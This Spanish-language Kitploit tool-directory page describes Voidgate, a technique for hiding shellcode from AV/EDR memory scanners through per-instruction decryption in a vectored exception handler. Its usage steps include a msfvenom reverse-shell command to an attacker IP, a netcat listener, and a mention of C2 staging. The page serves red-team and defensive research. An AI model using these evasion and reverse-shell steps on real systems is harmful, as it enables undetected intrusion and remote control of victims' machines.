Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Voidgate — Una técnica que se puede utilizar para evadir los escáneres de memoria de AV/EDR. Esto se puede utilizar para ocultar shellcodes conocidos y detectados (como msfvenom) realizando descifrado sobre la marcha de instrucciones de ensamblaje cifradas individuales, lo que hace que los escáneres de memoria sean inútiles para esa página de memoria específica. | Kitploit
Herramientas/GitHubGitHub/vxcrypt0r/voidgate
Evasión de IDS/IPSShellcodeDepuradoresRed TeamingDesarrollo de PayloadsAtaque Adversario
GitHubvxcrypt0r/voidgate

Voidgate

Ver Repositorio
5998417hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Una técnica que se puede utilizar para evadir los escáneres de memoria de AV/EDR. Esto se puede utilizar para ocultar shellcodes conocidos y detectados (como msfvenom) realizando descifrado sobre la marcha de instrucciones de ensamblaje cifradas individuales, lo que hace que los escáneres de memoria sean inútiles para esa página de memoria específica.

Compartir

VOIDGATE

Descripción:

Una técnica que se puede utilizar para evadir los escáneres de memoria de AV/EDR. Puede usarse para ocultar shellcodes conocidos y detectados (como msfvenom) realizando descifrado sobre la marcha de instrucciones individuales de ensamblador cifradas, haciendo así que los escáneres de memoria sean inútiles para esa página de memoria específica.


Cómo funciona:

Esta técnica creará una región de memoria PAGE_EXECUTE_READWRITE donde se almacenarán las instrucciones de ensamblador cifradas. El shellcode estará envuelto con algo de padding. El programa establecerá un Hardware Breakpoint (HWBP) en el punto de entrada del shellcode.

A continuación, el programa instalará un Vectored Exception Handler (VEH). Este VEH básicamente actuará como un depurador, ejecutando paso a paso el código, leyendo el registro de puntero de instrucción (RIP) para cada excepción SINGLE STEP recibida por el VEH, y descifrando los siguientes 16 bytes (longitud máxima de una instrucción de ensamblador x64) a los que apunta RIP. El VEH también vuelve a cifrar la instrucción previamente descifrada, asegurando que el resto del shellcode permanezca siempre cifrado con la excepción de la instrucción de ensamblador individual que se está ejecutando actualmente. Después de eso, continuará la ejecución, con el TRAP FLAG configurado en el registro Eflags. Esto asegurará que la siguiente instrucción de ensamblador también dispare una excepción de breakpoint que el VEH pueda manejar.

Después de la instalación del VEH, la ejecución del hilo principal se redirigirá al punto de entrada del payload. Cuando el HWBP se dispare en el punto de entrada, el VEH se detendrá en cada instrucción de ensamblador ejecutada, realizará el descifrado de la siguiente instrucción de ensamblador y cifrará la instrucción previamente descifrada que se guarda como variable global.

Al hacer esto, básicamente una sola instrucción de ensamblador se descifra a la vez, permaneciendo el resto del payload cifrado.


Limitaciones:

NOTA: Esta técnica es ideal para obtener un acceso inicial usando un shellcode básico como msfvenom o shells inversas personalizadas. También puede usarse como payload inicial de etapa 1 que descarga el resto del payload desde el servidor C2.

NOTA: Esta técnica no es compatible con todos los payloads (como los reflective loaders). A continuación se muestra una lista de las limitaciones actuales:

  • 1.) Dado que el VEH se disparará para CADA INSTRUCCIÓN DE ENSAMBLADOR ejecutada en el shellcode, la velocidad de ejecución del shellcode se reducirá drásticamente. Por cada instrucción de ensamblador que ejecute la CPU, el VEH ejecutará al menos 300 instrucciones ASM adicionales para realizar el descifrado, el cifrado y restaurar la ejecución al hilo principal. Si el shellcode está optimizado para un tamaño más pequeño en lugar del rendimiento (como msfvenom), la ejecución del payload será más lenta. Puede tardar más de 15 segundos (dependiendo de la CPU) en ejecutar un MSFVENOM. Esto sucede porque el shellcode específico usado por msfvenom sacrifica rendimiento para obtener un tamaño de payload más pequeño.
  • 2.) Si el shellcode llama a NtCreateThread o a cualquiera de sus wrappers en Kernelbase.dll con el punto de entrada dentro del shellcode, el payload no funcionará ya que el VEH no se disparará para la ejecución de ese hilo porque no hay HWBP instalado en el punto de entrada del hilo recién creado. (Trabajo en curso: se implementará más adelante en este repositorio)
  • 3.) Si el shellcode tiene valores/variables almacenados dentro de sí mismo (por ejemplo, tener la cadena sin procesar "powershell.exe" que se referencia mediante un offset en una llamada a WinExec WINAPI) o algún número guardado en un offset, y el shellcode luego intenta cargarlo o referenciarlo en algún lugar, el programa no funcionará porque la variable o cadena específica estará cifrada y el VEH no la descifra. Si el shellcode empuja dichos argumentos a la pila mediante instrucciones de ensamblador (push 0x4141414141414141 para poner "AAAAAAAA" en la pila para usarse en una llamada a una función), esta técnica funcionará. (Trabajo en curso: se implementará más adelante en este repositorio)

Uso:

Cómo reproducir el POC:

  • 1.) Crea tu payload de msfvenom:
 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
  • 2.) Usa XorEncryptPayload.exe para cifrar el payload con XOR
./XorEncryptPayload.exe C:\Path\to\shell.asm
  • 3.) Actualiza la variable que contiene el shellcode dentro del main.cpp del proyecto Voidgate
  • 4.) Asegúrate de que la clave xor coincida entre el cifrador y el proyecto Voidgate
  • 5.) Asegúrate de que tu listener esté a la espera en la máquina atacante:
nc -nvlp 443
  • 6.) Ejecuta Voidgate.exe

Demo:


Descargo de responsabilidad

Este repositorio es para fines académicos; el uso de este software es tu responsabilidad.

Descargar herramienta